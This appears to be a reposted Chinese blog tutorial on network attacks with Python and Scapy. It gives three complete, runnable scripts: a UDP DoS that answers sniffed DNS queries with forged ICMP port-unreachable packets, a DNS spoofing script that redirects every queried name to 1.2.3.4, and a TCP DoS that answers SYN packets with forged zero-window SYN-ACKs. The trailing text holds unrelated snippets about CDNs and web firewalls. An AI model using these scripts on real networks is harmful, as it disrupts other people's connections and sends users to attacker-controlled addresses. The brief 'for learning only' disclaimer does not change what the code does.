摘要:部分來(lái)自網(wǎng)絡(luò),適用于學(xué)習(xí),維護(hù)網(wǎng)絡(luò)安全,做合法公民一和不同,沒(méi)有面向連接的機(jī)制,其是一種不可靠的協(xié)議,沒(méi)有確認(rèn)機(jī)制。
部分來(lái)自網(wǎng)絡(luò),適用于學(xué)習(xí),維護(hù)網(wǎng)絡(luò)安全,做合法公民
一、UDP和TCP不同,UDP沒(méi)有面向連接的機(jī)制,其是一種不可靠的協(xié)議,沒(méi)有確認(rèn)機(jī)制。也就是說(shuō)只要其端口開(kāi)放,有數(shù)據(jù)需要交互時(shí)直接進(jìn)行數(shù)據(jù)交互,也不需要TCP的三次握手。這樣的話,基于UDP的攻擊比基于TCP的攻擊需要分析的條件相對(duì)少了一些。
下面是Python實(shí)現(xiàn)過(guò)程:
1、配置環(huán)境本人使用的是Win7 64位系統(tǒng),Python2.7.9,Scapy2.3.3(Python版本必須>=2.7.9,因?yàn)镾capy其它版本缺少模塊)。
安裝Python后,下載 setuptools-36.2.0 ,解壓到任意目錄下,運(yùn)行:
運(yùn)行成功后,會(huì)生成Script目錄,里面就是下載Python模塊的工具了:
接下來(lái)我們安裝Scapy2.3.3:
以上我們就將環(huán)境配置好了。
2、安裝抓包工具 WiresharkWireshark使用起來(lái)很簡(jiǎn)單,這里不做過(guò)多介紹。抓包工具有很多,下面介紹幾款流行抓包工具:Wireshark、Fiddler(可抓取網(wǎng)站或手機(jī)數(shù)據(jù)包,可支持Https)、Burpsuite、tcpdump(Linux自帶工具)、airodump-ng(Wifi滲透,可顯示路由器的BSSID ESSID,以及所有連接的客戶端。但需要一款可監(jiān)聽(tīng)注入的網(wǎng)卡)等等。
運(yùn)行Wireshark,點(diǎn)擊監(jiān)聽(tīng)的網(wǎng)絡(luò):
接下來(lái)我們 ping www.baidu.com 會(huì)抓到什么包?
上圖依次為DNS域名查詢請(qǐng)求與響應(yīng),成功返回ip。以上就是一次DNS域名解析的過(guò)程。
查詢網(wǎng)卡詳細(xì)信息:
3、實(shí)施攻擊3.1、UDP DOS
因?yàn)閁DP是無(wú)連接的,同一個(gè)連接中的報(bào)文與前面或后面的報(bào)文都沒(méi)有直接關(guān)系。因此對(duì)其DOS攻擊不像TCP那樣只需要發(fā)送一個(gè)reset包就可以干掉一個(gè)TCP連接那樣簡(jiǎn)單,針對(duì)UDP的DOS需要將每個(gè)報(bào)文都DOS掉,不然應(yīng)用層的重傳機(jī)制還是會(huì)重傳相應(yīng)數(shù)據(jù)以保持會(huì)話與交互的數(shù)據(jù)完整。因此針對(duì)UDP的DOS攻擊一般情況下都是針對(duì)UDP的輕量化應(yīng)用進(jìn)行攻擊,如DNS這種小量交互的報(bào)文,而不是P2P這種大量報(bào)文交互的應(yīng)用。
因此對(duì)其進(jìn)行DOS非常簡(jiǎn)單,只需要監(jiān)聽(tīng)網(wǎng)絡(luò)中的DNS流量,有DNS查詢時(shí),直接返回一個(gè)ICMP Port unreachable報(bào)文即可,表示端口沒(méi)有開(kāi)放。若為T(mén)CP的應(yīng)用,其端口沒(méi)有開(kāi)放時(shí),一般回應(yīng)一個(gè)reset報(bào)文。并且有一點(diǎn)一定要保證,就是ICMP port unreachable報(bào)文一定要比正常的DNS 響應(yīng)報(bào)文早到客戶端,這樣才可以達(dá)到DOS的效果。
部分代碼做了注釋?zhuān)?/p>
#!/usr/bin/python # -*- coding: utf-8 -*- import random from scapy.all import * from scapy.arch.windows import compatibility # 防止scapy2.3.3版本中出現(xiàn)log_runtime錯(cuò)誤 compatibility.log_runtime = log_runtime compatibility.MTU = MTU compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed compatibility.ETH_P_ALL = ETH_P_ALL compatibility.plist = plist compatibility.sniff(1) conf.iface = "Intel(R) Ethernet Connection I217-LM" # 綁定網(wǎng)卡,替換成之前所保存的網(wǎng)卡信息,linux需在sniff()中指定網(wǎng)卡 # DNS響應(yīng)的地址,隨機(jī)ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) def buying(mots): resp = Ether()/IP()/ICMP()/IP()/UDP() #構(gòu)造ICMP報(bào)文 resp[ICMP].type = 3 resp[ICMP].code = 3 resp[ICMP][IP].src = mots[IP].src resp[ICMP][IP].dst = mots[IP].dst resp[ICMP][IP].ttl = ipttl resp[ICMP][IP].id = ipid resp[ICMP][UDP].sport = mots[UDP].sport resp[ICMP][UDP].dport = mots[UDP].dport #構(gòu)造IP包頭 resp[IP].src = mots[IP].dst resp[IP].dst = mots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid #構(gòu)造以太網(wǎng)包頭 resp[Ether].src = mots[Ether].dst resp[Ether].dst = mots[Ether].src #發(fā)送構(gòu)造的ICMP響應(yīng)包 sendp(resp, count = 100) if __name__ == "__main__": print "start sniff" sniff(prn=buying, filter="udp dst port 53") # 嗅探,過(guò)濾upd目標(biāo)端口53
命令行運(yùn)行Python程序,然后再次 ping www.baidu.com,出現(xiàn)以下情況:
由于DNS使用UDP,而UDP是一種不可靠的協(xié)議,其存在丟包的可能,因此DNS為了保證應(yīng)用的可靠性,一般的DNS查詢都是發(fā)送多個(gè),當(dāng)前面一個(gè)查詢失敗時(shí),會(huì)繼續(xù)發(fā)送DNS查詢報(bào)文。如果第一個(gè)DNS查詢被DOS了,但是第二個(gè)DNS時(shí)卻被正常響應(yīng)了。所以導(dǎo)致DNS結(jié)果還是正常的。
3.2、UDP 欺騙
很簡(jiǎn)單,在監(jiān)聽(tīng)到客戶端發(fā)送請(qǐng)求時(shí),發(fā)送一個(gè)偽造的響應(yīng),并且比正常的響應(yīng)早到,這樣即可達(dá)到欺騙的效果。實(shí)際攻擊還是攻擊輕量化的應(yīng)用,流量較大的攻擊效果不一定明顯,且成本很大。還是以DNS為測(cè)試目標(biāo)吧。DNS污染在運(yùn)營(yíng)商里做的比較多,原理很簡(jiǎn)單:利益。并且其實(shí)現(xiàn)起來(lái)具有天然優(yōu)勢(shì),可以在關(guān)鍵鏈路和節(jié)點(diǎn)進(jìn)行分光監(jiān)聽(tīng)并發(fā)送偽造的數(shù)據(jù)包。
#!/usr/bin/python # -*- coding: utf-8 -*- import random from scapy.all import * from scapy.arch.windows import compatibility # 防止scapy2.3.3版本中出現(xiàn)log_runtime錯(cuò)誤 compatibility.log_runtime = log_runtime compatibility.MTU = MTU compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed compatibility.ETH_P_ALL = ETH_P_ALL compatibility.plist = plist compatibility.sniff(1) conf.iface = "Intel(R) Ethernet Connection I217-LM" # 綁定網(wǎng)卡,linux需在sniff()中指定網(wǎng)卡 # DNS響應(yīng)的地址,隨機(jī)ip字段的id和ttl rdata = "1.2.3.4" ipid = random.randint(1,65535) ipttl = random.randint(45,80) def buying(mots): resp = Ether()/IP()/UDP()/DNS() #構(gòu)造DNS相關(guān)字段 resp[DNS].qr = 1 resp[DNS].rd = 1 resp[DNS].qdcount = 1 resp[DNS].ancount = 1 resp[DNS].id = mots[DNS].id resp[DNS].qd = mots[DNS].qd resp[DNS].an = DNSRR(type="A",rclass="IN",ttl=1800,rdata=rdata) resp[DNS].an.rrname = mots[DNS].qd.qname #構(gòu)造UDP相關(guān)字段 resp[UDP].dport = mots[UDP].sport resp[UDP].sport = mots[UDP].dport #構(gòu)造IP包頭 resp[IP].src = mots[IP].dst resp[IP].dst = mots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid #構(gòu)造以太網(wǎng)包頭 resp[Ether].src = mots[Ether].dst resp[Ether].dst = mots[Ether].src #發(fā)送構(gòu)造的DNS響應(yīng)包 sendp(resp) print("DNS響應(yīng)為:",mots[DNS].qd.qname,"->",rdata) if __name__ == "__main__": print "start sniff" sniff(prn=buying,filter="udp dst port 53")
命令行運(yùn)行Python程序,然后再次 ping www.baidu.com,出現(xiàn)以下情況:
以上就成功進(jìn)行了UDP欺騙,將百度重定向到1.2.3.4上。
二、TCP比如探測(cè)某一端口是否開(kāi)放時(shí),一般發(fā)送SYN,若其端口開(kāi)放,對(duì)方回應(yīng)SYN+ACK;若端口不開(kāi)放,則回應(yīng)reset。所以針對(duì)TCP的應(yīng)用,我們進(jìn)行DOS時(shí),可以監(jiān)聽(tīng)其SYN包,一旦有客戶端發(fā)送SYN,直接給其回應(yīng)reset,并且保證偽造的reset比正常的響應(yīng)包早到,即可達(dá)到DOS的效果。
1、配置環(huán)境與UDP配置相同
2、實(shí)施攻擊2.1、TCP DOS
#!/usr/bin/python # -*- coding: utf-8 -*- import random from scapy.all import * from scapy.arch.windows import compatibility # 防止scapy2.3.3版本中出現(xiàn)log_runtime錯(cuò)誤 compatibility.log_runtime = log_runtime compatibility.MTU = MTU compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed compatibility.ETH_P_ALL = ETH_P_ALL compatibility.plist = plist compatibility.sniff(1) conf.iface = "Intel(R) Ethernet Connection I217-LM" # 綁定網(wǎng)卡,linux需在sniff()中指定網(wǎng)卡 #隨機(jī)ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295) def buying(tcpmots): resp = Ether()/IP()/TCP() #構(gòu)造TCP相關(guān)字段 resp[TCP].dport = tcpmots[TCP].sport resp[TCP].sport = tcpmots[TCP].dport resp[TCP].ack = 0 # ack大小可以任意指定 resp[TCP].flags = "SA" resp[TCP].window = 0 # 構(gòu)造IP包頭 resp[IP].src = tcpmots[IP].dst resp[IP].dst = tcpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid #構(gòu)造以太網(wǎng)包頭 resp[Ether].src = tcpmots[Ether].dst resp[Ether].dst = tcpmots[Ether].src #發(fā)送構(gòu)造的TCP DOS 包 sendp(resp,count=1) print("TCP DOS 攻擊",resp[IP].dst,"成功") if __name__ == "__main__": print "start sniff" sniff(prn=buying,filter="tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0")
運(yùn)行以上代碼:
大家實(shí)驗(yàn)可能失敗的因素有很多,比如對(duì)DNS進(jìn)行了加密、采用DNS延遲解析、網(wǎng)絡(luò)不穩(wěn)定都會(huì)對(duì)攻擊產(chǎn)生一定影響,不是每次攻擊都會(huì)成功,這點(diǎn)希望大家能注意到。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://m.hztianpu.com/yun/40633.html
摘要:在一個(gè)節(jié)點(diǎn)中,設(shè)備和本地負(fù)載均衡設(shè)備的連接方式有兩種一種是旁路方式,一種是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(內(nèi)容分發(fā)網(wǎng)絡(luò))全稱(chēng)是 Content Delivery Network,建立并覆蓋在承載網(wǎng)之上、由分布在不同區(qū)域的邊緣節(jié)點(diǎn)服務(wù)器群組成的分布式網(wǎng)絡(luò),替代傳統(tǒng)以 WEB Server 為中心的數(shù)據(jù)傳輸模式。 作用是將源內(nèi)容發(fā)...
摘要:在一個(gè)節(jié)點(diǎn)中,設(shè)備和本地負(fù)載均衡設(shè)備的連接方式有兩種一種是旁路方式,一種是穿越方式。 文章同步于Github Pines-Cheng/blog 什么是CDN CDN(內(nèi)容分發(fā)網(wǎng)絡(luò))全稱(chēng)是 Content Delivery Network,建立并覆蓋在承載網(wǎng)之上、由分布在不同區(qū)域的邊緣節(jié)點(diǎn)服務(wù)器群組成的分布式網(wǎng)絡(luò),替代傳統(tǒng)以 WEB Server 為中心的數(shù)據(jù)傳輸模式。 作用是將源內(nèi)容發(fā)...
摘要:為使用七層負(fù)載均衡的用戶,提供安全高效的應(yīng)用防護(hù)能力?;谪?fù)載均衡集群的運(yùn)維能力,可快速進(jìn)行擴(kuò)容容災(zāi)遷移的部署。伴隨著互聯(lián)網(wǎng)+時(shí)代的到來(lái),Web系統(tǒng)作為企業(yè)IT業(yè)務(wù)的基本負(fù)載平臺(tái),承載著各種不同種類(lèi)的信息業(yè)務(wù)。但近年來(lái)針對(duì)Web應(yīng)用的攻擊事件頻發(fā),也讓W(xué)eb應(yīng)用的安全防御面臨著諸多挑戰(zhàn)。國(guó)家互聯(lián)網(wǎng)應(yīng)急中心報(bào)告就曾顯示,僅2020上半年國(guó)家信息安全漏洞共享平臺(tái)(CNVD)收錄通用型安全漏洞11...
閱讀 2675·2021-08-20 09:38
閱讀 1428·2019-08-30 15:43
閱讀 653·2019-08-29 17:13
閱讀 1670·2019-08-29 14:01
閱讀 1374·2019-08-29 13:29
閱讀 2396·2019-08-23 18:29
閱讀 2113·2019-08-23 17:51
閱讀 1993·2019-08-23 17:16